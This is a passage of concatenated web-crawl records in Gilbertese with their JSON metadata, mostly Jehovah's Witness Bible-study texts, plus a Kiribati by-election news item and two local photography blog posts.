kakaokoro aomata ni kaotii iai ana iango.\nE kairaki aia mwakuri te Komete Ibukin Rairan te Baibara ae Tabu\nBaikara bitaki tabeua aika kakawaki n te rairai aei?\nE na kangaa ni buokiko ana katoto Iesu n ataa te tai n taetae, tera ae ko na taekinna, ao arom n taekinna?\nTera arora n iangoi taiani mamaara, ao tera ae ti na karaoia iai?\nRONGORONGONI MAIUNA\nNgke e katoka taromauria ana bakatibu Michiyo Kumagai ao e a tabe n raurenako ma tinana. E kangaa ni karekea te rau Michiyo?\nKaongora aika kakaokoroaki ni karinanaki aika boreetiaki n Te Taua-n-Tantani ibukia aomata ao ibukin te reirei.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/w20151215\/","date":"2018-02-24T09:08:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815500.61\/warc\/CC-MAIN-20180224073111-20180224093111-00333.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":157,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.395,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N angiin te tai ao te taeka ae bwaiania, e nanonaki iai te koraki ake a moani katanea ao ni kaitiaka te kawai are a na toua mwina aomata. E arona aron te bwaiania Iesu ngke e karuoaki nako aon te aba bwa e na karaoa te mwakuri ni minita are e na anga iai maiuna ao ni kauka te kawai nakon te kamaiuaki. (Mataio 20:28) A kakairi irouna taan rimwina ni boong aikai n aroia ni kabanei aia tai n 'reireinia aomata bwa a na riki bwa taan rimwini Kristo.' (Mataio 28:19, 20) A a tia tabeman ni karaoa te mwakuri ae ataaki iroura bwa te bwaiania.\nTe bwaiania bon te aomata ae kabwanina ana tai n uarongorongo. Bon taan tataekina te rongorongo ae raoiroi Ana Tia Kakoaua Iehova ni kabane. A a tia tabeman ni baireia bwa a na beku bwa regular bwaiania ike a a kabanea iai 70 te aoa ni katoa namwakaina n te mwakuri n uarongorongo. Ibukini karaoan aei, a bati ake a kauarerekei aia tai ni mwakuri ni kareketianti n iterantai. A rineaki tabeman riki nakon te mwakuri ae te special bwaiania n taabo ake e korakora iai kainnanoaia taan tataekina te Tautaeka n Uea, ike a a kabanea iai 130 te aoa ke e raka riki ni katoa namwakaina. A rau nanoia bwaiania ni maiuia ae a aki rangi ni kaubwai, bwa a kakoauaa ae e na angania Iehova baika a kainnanoi ibukini maiuia. (Mataio 6:31-33; 1 Timoteo 6:6-8) A karaoa te mwakuri n auxiliary bwaiania ngkana a kona, te koraki ake e kangaanga irouia kabwaninan aia tai ni bwaiania, rinanoni karakaan riki aia tai n uarongorongo nakon 30 ke 50 te aoa n te namwakaina.\nE kairaki te aomata bwa e na bwaiania ibukin tangiran te Atua ao aomata. Ti noria ni boong aikai bwa a bati aika rangi ni kainnanoa ataakin te Atua ma ana kantaninga, n aron are e noria naba Iesu. (Mareko 6:34) Ma iai te atatai iroura ae a kona ni buokaki iai ngkai naba, ike a na karekea iai te kantaninga ae nene ibukin taai aika a na roko. E kairaki te bwaiania n tangiraia aomata bwa e na tituaraoi n anga ana tai ao korakorana ni buokiia aomata bwa a na ataa te rongorongo ae raoiroi. (Mataio 22:39; 1 I-Tetaronike 2:8) Imwin anne, e a kakorakoraaki iai ana onimaki, e a kaaniaki riki ma te Atua, ao n namakina te kukurei ae bati.\nKo na kangaa ni kabwarabwaraa te bae nanonaki n te bwaiania?\nTera ae a kairaki iai tabeman bwa a na kabwanina aia tai ni bwaiania?","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/nanon-Iehova\/jw-bwaiania\/","date":"2018-02-19T20:58:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812788.42\/warc\/CC-MAIN-20180219191343-20180219211343-00267.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":418,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E koaua ae te Halloween bon te waaki ni kakukurei ae aki karuanikai, ke bon te bwai teuana?\nKo na bae ni mimi ni katein te Kiritimati rimoa aika rangi n ataaki aika onoua.\nNoria bwa bukin tera ngkai e bukamaruaki te Kiritimati n Ritembwa 25.\nReiakina moan rikini boongi n toa aika 5 ake a kakaraoaki ibukin te Itita.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/baibara-reirei\/titiraki\/ibukini-boongi-n-toa-bukamaru\/","date":"2018-02-25T22:31:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891817437.99\/warc\/CC-MAIN-20180225205820-20180225225820-00202.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":58,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.397,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E taetae ni burabetinaki n te Baibara bwa imwini mateni Kristo, ao a na teirake taan reirei aika kewe mai buakoia Kristian rimoa ao a na kabwaoua te koaua man te Baibara. (Mwakuri 20:29, 30) E aki maan imwina, ao e a riki anne. A rengana ana reirei Iesu ma aia koaua Aaro ni beekan ike a a tei iai botaki n Aro ni Kristian aika kewe. (2 Timoteo 4:3, 4) Ti na kangaa ni koaua raoi bwa e a reke iroura ni boong aikai te atatai ae eti ibukin ana reirei ni koaua te Baibara?\nAna tai aei Iehova ni kaotaraea te koaua. E taetae ni burabetinna Iehova bwa 'e na rikirake te ataibwai ni koaua n tain te Toki.' (Taniera 12:4, BK) N 1870, ao a kunea kaain te kurubu ae uarereke ake taan ukoukora te koaua bwa a bati reirein Aaro ake a aki boraoi ma ana reirei te Baibara. Mangaia are a a moana aia ukeuke ni karekean otaia ni moan reirei man te Baibara ao e kakabwaiaia Iehova bwa a a kona n atai nanoni kiibu.\nA ukeuke raoi n te Baibara mwaane aika kakaonimaki. A kamanena Taan Reirei n te Baibara ake taani Kakoaua ibukin Iehova rimoa, te anga n ukeuke n reirei ae ti teimatoa ni kamanena ni boong aikai. A maroroakina te boto n reirei man te Baibara teuana imwin teuana. Ngkana a aitara ma kibun te Baibara teuana ae kangaanga otaia iai, a a manga ukeri kiibu riki tabeua ake a na kabwarabwaraa nanona. Ngke a a boraoi n iango i aon aia moti ao n noria bwa e boraoi ma kiibu riki ake tabeua, a a korea mwina. Ibukin aroia ni kariaia te Baibara bwa e na boni kabwarabwarai kibuna nako, a a manga kaoka iai te koaua ibukin aran te Atua ao te Tautaeka n Uea, ana kantaninga ibukin te botannaomata ma te aonnaba, aroia maate ao te kantaninga ibukin te mangauti. A a kainaomataaki man reirei ao mwakuri aika bati aika kewe, man aia ukeuke.\nN 1879, a ataia Taan Reirei n te Baibara bwa e a riai kabutanakoan te koaua. Ngaia are man te ririki anne, a a moana karaoan te maekatin ae ti teimatoa ni boreetia ni boong aikai ae Te Taua-n-Tantani ae Tataekina Ana Tautaeka n Uea Iehova. Ti a tibwai nako ngkai koaua man te Baibara nakoia aomata n aaba aika 240 ao n taetae aika raka i aon 750. Ai korakorara ngkai rikiraken te ataibwai ni koaua!\nTera ae riki nakon te koaua man te Baibara imwini mateni Kristo?\nTi kangaa ni manga kaoka te koaua ae n Ana Taeka te Atua?","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/nanon-Iehova\/manga-kaokaki-te-koaua-ae-n-te-baibara\/","date":"2018-02-19T20:47:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812788.42\/warc\/CC-MAIN-20180219191343-20180219211343-00404.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":429,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E nang manga nako naba kain te kauoua ni karebaoki ibukia tii teniman taan anga araia ake a ira te kauaoki ni karebaoki iaon tuc n te bong ae ningabong Kauabong 24\/10\/17 ni moa man te aoa 7am nikarokoa te aoa 6 pm.\nNaakai bon Mr Arobati Teewe Brechtefeld, Mrs Taabeta Amuera Teakai ao ai Taoaba Kaiea. NI kauringakia taan rinerine iaon TUC ao e na bon ti teuana te x ae ena kabonganaki n aran temanna ao e naki bwai te bebwa n rinerine ngkana e raka te x iaon temanna.\nTaan rinerine a bon kantaningaki bwa ana tiku n aia ward nako nikaraoa aia rinerine ma iai. N aron are e moan karaoaki ao te rinerine e na kainanki matana ngkana e boo raoi 6 n te moantairiki. Iai tabeman taan rinerine a kitana aia tabo ni mwakuri nakon aia ward ibukin te rinerine ao a manga okiri aia tabo ni mwakuri.\nTe wareware e na manga karaoaki naba ni mwaneaban KNYC are I Bairiki ma komete ake a tia n rineaki iroun te kauntira bwa ana ibuobuoki. Ma ibuakoia taan karaoa te rinerine ao bon iai naba bureitiman ake a ririeta nakoia ake a tar ate waaki bwa e na rau ao man iraki nanon te tua ibukin karaoan te rinerine.\nE na manga uti ni kanakoaki aran te tia tei are e tebenako arana ao man moanna imwin te rinerine aio.","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/kiribatiupdates.com.ki\/2017\/10\/24\/e-nang-manga-waaki-te-kauoua-ni-karebaoki-iaon-tuc\/","date":"2018-02-24T12:00:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891815560.92\/warc\/CC-MAIN-20180224112708-20180224132708-00711.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":232,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngke e a ataia Tawita bwa akea tiani kakannaton Iehova, e a kairaki bwa e na karaoiroia n aki toki\nN aron Tawita, a kairaki ana toro Iehova aika kakaonimaki ni koaua bwa a na aki toki n taekin ana mwakuri aika abwabwaki\nE kakoauaa Tawita ae e tangiria Iehova n tabeakinia ana toro ni kabane ao e kona ni karaoia","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/tebetembwa-2016-mwb\/kaetieti-n-te-botaki-teb26-oki2\/kakannato-iehova-tau-ni-karaoiroaki\/","date":"2018-02-24T01:19:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814872.58\/warc\/CC-MAIN-20180223233832-20180224013832-00477.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":61,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.199,"stopwords_ratio":0.557,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E a Kairiri Ana Tautaeka n Uea te Atua!\nMirion ma mirion aomata aika a namakina te kukurei ao ni maiu ma te mweraoi i aan ana tautaeka ae kororaoi te Atua. Ko kan riki naba ngkoe bwa kaaina?\nE kangaa n noraki bwa e koaua ana katanoata ae kakukurei C. T. Russell n Okitobwa 2 n 1914?\nMWAKORO 1\nE angangareirei riki i aon ana Tautaeka n Uea te Atua Iesu nakon ana angareirei i aon reirei riki tabeua. N te aro raa ae e na roko iai ao n ningai?\nMWAKORO 2\nAntai ae ibuobuoki ni katauraoiia ana aomata Kristo i aon te aba imwain te Tautaeka n Uea? Baikara baike a kanikinaea te Tautaeka n Uea bwa bon te tautaeka ni koaua?\nMWAKORO 3\nBoni kanoan ana moani kantaninga te Atua, te Tautaeka n Uea? E kangaa Iesu ni kaotaa te oota ibukin te Tautaeka n Uea?\nMWAKORO 4\nTera ae e a tia ni kakororaoia te Tautaeka n Uea ni kaineti ma aran te Atua? Ko na kangaa n uataboa katabuan aran Iehova?\nMWAKORO 5\nKarekea te ota ae mataata riki ibukin ana Tautaeka n Uea te Atua, taani kairiri iai, ao aomata ake a na mena i aana, ao kainnanoan te kakaonimaki ni koaua.\nMwakoro 6\nE aera ngkai e aki nanokokoraki Iesu bwa a na iai te koraki aika kukurei n uarongorongo ni kabaneani boong? Ko na kangaa ni kaotia bwa ko ukoukora moa te Tautaeka n Uea?\nMWAKORO 7\nReiakini aia aanga ana aomata te Atua ake a kabonganai ni karoko irouia aomata aika bati ma taekan te rongorongo ae raoiroi imwain rokon te toki.\nMWAKORO 8\nE kangaa ni kakoauaaki man ara mwakuri n rairai bwa ti boutokaaki iroun Iesu? Tera te kakoaua ni kaineti ma ara boki bwa e boni koaua raoi te Tautaeka n Uea iroura?\nMWAKORO 9\nE reireinia taan rimwina Iesu baika kakawaki aika uoua ibukin te mwakuri n tai ae korakora ni kaineti ma te onimaki. Ti kangaa n rotaki ni boong aikai n reirei aikai?\nMWAKORO 10\nTera irekereken te Kakiritimati ma te kaibangaki?\nMWAKORO 11\nTaian ruu n tantani ao kawai n rin n te tembora ake n ana miitara Etekiera, iai nanoia ae onoti ibukia ana aomata te Atua ni moa man 1914.\nMWAKORO 12\nE taekinaki kaokoron te mangaongao ma te rau n te Baibara ao tiaki i marenana ma te aki mangaongao. Bukin tera? Ao tera rotakia Kristian ni boong aikai ni kaekaan anne?\nITERA 4\nMWAKORO 13\nA kakairi tabeman taani moti n te boowi ae rietata n taai aikai, n ana iango Kamariera are te tia angareirei n te Tua ngkoa.\nMWAKORO 14\nE ongaki 'karaangan' te bwainikirinaki are bwaroia Ana tia Kakoaua Iehova ibukin aroia n tei i nuka ni kaineti ma waaki n tautaeka, n te bwai n ibuobuoki ae aki kantaningaaki.\nMWAKORO 15\nA kakorakoraia ana aomata te Atua ni karekea riaia n ongeaba n te tua\nMWAKORO 16\nTi na kangaa ni karekea kakabwaiaara ae rangi ni bati man taiani botaki ibukin taromaurian Iehova?\nMWAKOROR 17\nA kangaa taiani kuura ni kataneiai ibukin te uarongorongo ni katauraoiia taan tataekina te Tautaeka n Uea, bwa a na kakororaoi mwiokoaia?\nMWAKORO 18\nE reke mai ia te mwane? E kangaa aroni kabonganaana?\nMWAKORO 19\nE karineaki te Atua n taabo n taromauri, ma iai riki te bwai ae rangi ni kakawaki irouna.\nMWAKORO 20\nTi kangaa n ataia bwa te mwakuri n ibuobuoki bon iteran naba ara beku ibukin Iehova?\nMWAKORO 21\nKo kona ni katauraoi ngkai ibukin te buaka ae Aremaketon.\nMWAKORO 22\nKo kangaa n ataia ae a na boni koro bukin ana berita Iehova?","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/uea-te-atua\/","date":"2018-03-18T05:06:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645513.14\/warc\/CC-MAIN-20180318032649-20180318052649-00608.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":583,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te tai aio ao ti a neweabaa ngkanne tanraken Temwaiku – te tabo are uakaan ma te auti are te boratentao (kanga a nang akea rabwatana n noraki n taai aikai). Oin au kantaninga n te tai aio bon rawean tamnein Bonriki International Airport ma iai te angabuaka aingaia are I a toua te kawai are e ritanrake mai tabon te marae are i Bonriki ni biri nako te Temwaiku. Bon 31 n Aokati 2017 te bong aio!\nE tau ma ti a okira rongorongon ara tamnei aio. E a bon kaan tawanou (tao 10am) te tai aio ao are kanga ti aki tain te rawetamnei ae tamaroa bwa are e a moanna ni matoa te riringa ma te oota ike a kona ni kakorakora te maii n te tamnei. I set au camera (dsrl nikon d3100 ma ana kits lens) n aron aikai:- mode bon manual, iso 100, f\/16 ao te shutter ae 1\/250. I aki kabongana te tripos n te tai aio kioina bwa e bikebike te tabo aio ao e aki boraoi aontano. E bati au tamnei ae i rawei n te tabo aei ma aio bon teuana mai buakoia.\nIai ataeinimwane aika 2 aika a mena naba ni uakaan ma te tabo ane i rawetamnei iai. N rokoia irarikiu ao a titirakinai bwa tera ae i raweia ao ibukin tera. I kabwarabwara bwa bon kanoan au kakibotu. N titirakinaia irou bwa tera ao a kakaea riaon te bike ao a taku bwa a kakaei abeaia n roaroa taian mwakauro.\nN aron angiin au tamnei ikai, ao I aki rangi n tatangira te tamnei ae bati te bitaki iai. Riki ngkana e karaoaki n te Photoshop ke software riki tabeua. Engae ngke e rangi n tamaroa te final product ma te kangaanga bwa e a aki rangi ni real the scene. E tau ti a manga nora karaoan au tamnei aio n te photoshop bwa I ti karokoi taian colors, teutana te crop mai nano, te shapening ma te noise reduction. Akea te object ae I added ke deleted. N tokin te tai ao I kukurei bwa e kaoti raoi are bon ngaia ngke I taraia ni matau.\nNote:- Te tamnei aio bon ti 816×457 pixels. Ngkana ko tangira te original pixels ao reitaki ma ngai bwa N na anganiko te link ibukin te original file ae 4608×2580 pixels ao 356kb. Ai aron naba au tamnei ni kabane ikai – are ngkana ko kani kabonganai ao reitaki bwa N na anganiko te original file.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/aerophotoblog.com\/2017\/10\/15\/temwaiku-ocean-side\/","date":"2018-03-25T01:37:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257651481.98\/warc\/CC-MAIN-20180325005509-20180325025509-00726.warc.gz","language":"gil","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000090599060059}","num_words":409,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.428,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Baikara kangaanga ake e kaaitarai Erote ni manga katean te tembora i Ierutarem?\nBon Toromon are e moani katea te tembora i Ierutarem i aon te maunga ao e katei oo aika matoatoa n iterana mai mainiku ao mai maeao, e karaoa aei bwa a aonga n reke taabo aika aoraoi ni katobibia te tembora. E tangiria Erote ni katea te tembora ae rangi n tamaroa riki nakon are e kateia Toromon, ngaia are e a waakina karaoana ao ni manga kabuburaa riki are e a kamani kateaki.\nA a kabuburaa te tabo ae aoraoi n tanimeangin te tembora ana intinia Erote bwa e a aonga n raababanako riki te tabo anne. E karababaaki nako te tabo are kaitaraa maiaki nakon 32 te mita. Ibukini katiaana, a a karaoaki tatangana atibu aika matoatoa ma oona aika matenten. E kakoauaaki bwa rietan oona 50 te mita.\nE kataia Erote n aki ekaanako aia iango Iutaia ke n uruana aia taromauri ma aia angakarea ake a kakaraoi n te tembora aei. E taekinna Josephus are te tia korea rongorongon rimoa, bwa e reireinia naba ibonga Erote bwa a na rabakau ni kabonganai atibu ibukin te kateitei ao ni kabentaa bwa a aonga n aki rin n taabo aika tabu aomata ake a aki katauaki nako iai.\nE aki nora tian te mwakuri aei Erote. E waakinako te kateitei man 30 C.E., i nanon 46 te ririki. (Ioane 2:20) E katiaaki te mwakuri iroun Agrippa II are tibutorun Erote n nukan te moan tienture C.E.\nBukin tera ngke a iangoa te abotoro Bauro kaaini Merita bwa te tia tiritiri?\nIai tabeman kaaini Merita ake a kairaraangaki ni koaua aika boto man te Aro ni Kuriiti. Iangoa te baere e riki imwin urubekebeken te kaibuke are e toka iai Bauro, ae koreaki taekana n te boki ae Mwakuri. Ngke e kauraa te bwabwati ni kai bwa a aonga ni kaabueia iai raona ni mwananga, e a tenaa naba baina te naeta ae te baiba. Ibukin anne, a a taku ngkanne kaain te aba: \"Bon te tia tiritiri teuaei, bwa e ngae ngke e reke maiuna mai taari, ma e a reke kaina n te baei bwa e aonga n aki teimatoa ni maiu.\"\nE kamanenaaki te taeka ae \"Reke kaina\" ibukin te taetae ni Kuriiti ae \"di'ke.\" E kona ni kaokoro ae nanonaki n te taeka ae reke kaina. Ma e ngae n anne, te taeka ae Dike bon aran te atua n aine ae atuan te karekekai n te ototo ni kawai ni Kuriiti. E iangoaki bwa e kona n nori aia bure aomata ao n ribootini nakon Tieuti rongorongo aika aki ataaki irouia aomata bwa e aonga ni katuuaaeaki te tia bure. Ma ni kaineti ma te rongorongo teuana, a kona n iangoia kaain Merita ni kangai: \"E ngae ngke e reke maiuni Bauro mai taari, ma e kanikinaeaki bwa e na reke kaina iroun te atua n aine ae Dike . . . n te naeta ae te baiba.\" E a manga bitaki aia iango aomata akanne ngke e aki kabuanibwai Bauro.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20151001\/ko-ataia\/","date":"2018-03-21T04:29:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647567.36\/warc\/CC-MAIN-20180321023951-20180321043951-00570.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":503,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te tai aio ao ti a manga wairio nako Betio n noria bwa tera au tamnei are e na kona n reke n te tai aei. E rio aio bwa e angaraoi ma kawaiu nakon te KIT bwa N na kabaea aran au ataei temanna n te Automotive Intake 2018. I roko i Betio imwaain inin te reirei n te aoa 4pm. Ngke e bane tabera n te KIT ao I a buti ritanrion te reirei aio bwa are e rangi n tamaroa kawaina bwa are te korotaa naba (nora te kawai n te tamnei aei).\nNgaia anne, te kawai aei are e biri man te High Court ritanrion te KIT nako akuun te KOIL ao ni kaea tabon te uabu are e mena iai kambwana aika KPA ma te CPP. Aio ngkanne te tabo ae e a reke iai ara tamnei ae ko noria aio. I rawea te tamnei aei mai rarikin oon ana tangke ni bwa te Koil. Tao ngkami ake kam tuai man totoua te kawai aio ke te tabo aio ao e a reke ngkai ami tai n noria n te tamnei aei.\nI aki kabongana te tripod bwa I a bon handheld au camera – ngkai e tuai roko au tripod are I kakantaningaia. Ngkana e roko ao tao e na kona ni katamaroai riki ara tamnei.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/aerophotoblog.com\/2017\/10\/19\/kpa-view\/","date":"2018-03-25T01:37:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257651481.98\/warc\/CC-MAIN-20180325005509-20180325025509-00784.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":221,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E kona te Uea ae Aaba n nora ana nne ni kureebe Nabota mani winton ana baareti i Ietireera. E tangira te nne ni kureebe aei Aaba ao e kataia ni kabooa mairoun Nabota. Ma e rawa Nabota ibukina bwa e na urua iai ana Tua Iehova are e katabuaka kabonakoan te tibwanga. E karinea Nabota Aaba ibukini karaoan ae eti? E aki. E rangi n un Aaba. E rangi n rawawata iai ao e a aki otiotinako man ana ruu ao e rawa naba n amwarake.\nE taku buuna ae te Ueannaine ae buakaka ae Ietebera: 'Bon uean Iteraera ngkoe. Ko kona ni karekei bwaai ni kabane aika ko tangiri. N na anganiko te aba anne.' Ngaia are e a korei reeta neiei nakoia unimwaane n te kaawa, ao e tuangia bwa a na bukina Nabota bwa e karereantia te Atua ao e riai ni karebanaaki n atibu n uaa matena. A toua mwin ana taeka Ietebera unimwaane. E taku Ietebera nakon Aaba: 'E a mate Nabota. Ai am bwai te nne ni kureebe.'\nTiaki tii Nabota te aomata ae akea ana bure ae tiringaki iroun Ietebera. E bon tiringia aomata aika bati ake a tangira Iehova. E taromaurii naba bouannanti ao e karaoi mwakuri riki tabeua aika buakaka. E bane n nori Iehova ana mwakuri Ietebera aika buakaka. Tera ae e na karaoia nakon neiei?\nE mate Aaba, ao imwina riki e a uea natina are Ioram. Ao Iehova e kanakoa Ieu bwa e na katuuaaea Ietebera ma ana utu.\nE toka Ieu i aon ana kaa ni buaka n nako Ietireera, are e maeka iai Ietebera. E roko Ioram n te kaa ni buaka iroun Ieu ao e taku: 'Iai te rau i marenara?' E taku Ieu: 'E aki kona n reke te rau ngkana e teimatoa tinam ae Ietebera ni karaoi mwakuri aika buakaka.' E kataia Ioram n rairaanako ana kaa ni buaka bwa e na birinako. Ma Ieu e katebea Ioram ao e mate.\nImwina ao Ieu e a nakon ana baareti Ietebera. Ngke e ongo neiei bwa e nang roko Ieu, e a karani matana, e katamaroaa irana, ao e tataninga i rarikin te winto n ana auti i eta. Ngke e rin Ieu, e taetae nakoina neiei n te aro ae kamatauninga. E takarua Ieu nakoia ana toro neiei ake i rarikina ni kangai: \"Karenakoa neienne nako naano!\" Ngaia are a ineakina Ietebera ni karenakoa man te winto, ao e a bwaka naba ni mate.\nImwin anne, ao Ieu e tiringia 70 natin Aaba aika mwaane ao e kamauna taromauriani Baara man te aba. Ko a ataia ngkanne ae e atai bwaai ni kabane Iehova ao n taina ae riai e na boni katuuaaeia naake a kakaraoi mwakuri aika buakaka?\n\"Te tibwanga ae karekeaki moa rinanon te nanonrang e na aki riki bwa te kakabwaia rimwi.\"—Taeka N Rabakau 20:21","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/8\/aaba-ietebera\/","date":"2018-03-21T23:16:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647706.69\/warc\/CC-MAIN-20180321215410-20180321235410-00612.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":474,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E reireina natina ae Itaaka Aberaam bwa e na tangira Iehova ao n onimakin ana berita nako Iehova. Ma ngke tao ai 25 ana ririki Itaaka, e tua Iehova nakon Aberaam bwa e na karaoa te bwai teuana ae rangi ni kangaanga. Ae tera?\nE tua te Atua nakon Aberaam ni kangai: 'Taiaoka kaira natim ae am rikitemanna ao aanga bwa te karea i aon te maunga teuana n te aba ae Moria.' E aki ataia Aberaam bwa e aera ngke e tuangnga Iehova bwa e na karaoa aei. Ma e bon ongeaba iroun Iehova.\nNi karangainan te bong are imwina, e kaira Itaaka Aberaam ma uoman ana toro ao a a mwananga nako Moria. Imwin tenibong, a a kona n nori maunga mai kiraroa. E tuangia ana toro Aberaam bwa a na tataninga bwa e na nako ma Itaaka n angakarea. E anaa te biti Aberaam ao e angan Itaaka te aia bwa e na uotia. E taku Itaaka nakon tamana: 'E nga te man ae ti na kareanna?' E kaeka ni kangai Aberaam: 'Natiu, e na boni katauraoia Iehova.'\nNgke a roko n te maunga ao a a katea te baonikarea. Imwina, e kabaei bain ao waen Itaaka Aberaam ao e katokaa i aon te baonikarea.\nE tabeka te biti Aberaam ao e a wewete naba n te tai anne ana anera Iehova mai karawa ni kangai: 'Aberaam! Tai kaikoaka te teinimwaane! I a ataia ngkai bwa ko onimakina te Atua ibukina bwa ko kukurei ni kareana natim.' Imwin anne, e a nora Aberaam te tiibu mwaane ae bae korona n te buakoako. E waekoa ni kabwaraa Itaaka ao e a kareana te tiibu mwaane bwa oneani mwina.\nMan te bong anne, e a arana Aberaam Iehova bwa raoraona. Ko ataa bukina? E karaoi Aberaam baike e tangiri Iehova bwa e na karaoi, e ngae naba ngke e aki ota bwa e aera ngke e tuangnga.\nE a manga taekina riki ana berita Iehova nakon Aberaam ni kangai: 'N na kakabwaiako, ao N na kamwaitiia natim ke kanoam.' E nanonaki iai bwa e na kakabwaiaia Iehova aomata nako aika raoiroi, rinanon ana utu Aberaam.\n\"E rangi n tangiriia kaain te aonnaba te Atua, n te aro are e a anga Natina ae te rikitemanna, bwa e aonga n aki kamaunaaki ane e onimakinna, ma e na reke irouna te maiu are aki toki.\"—Ioane 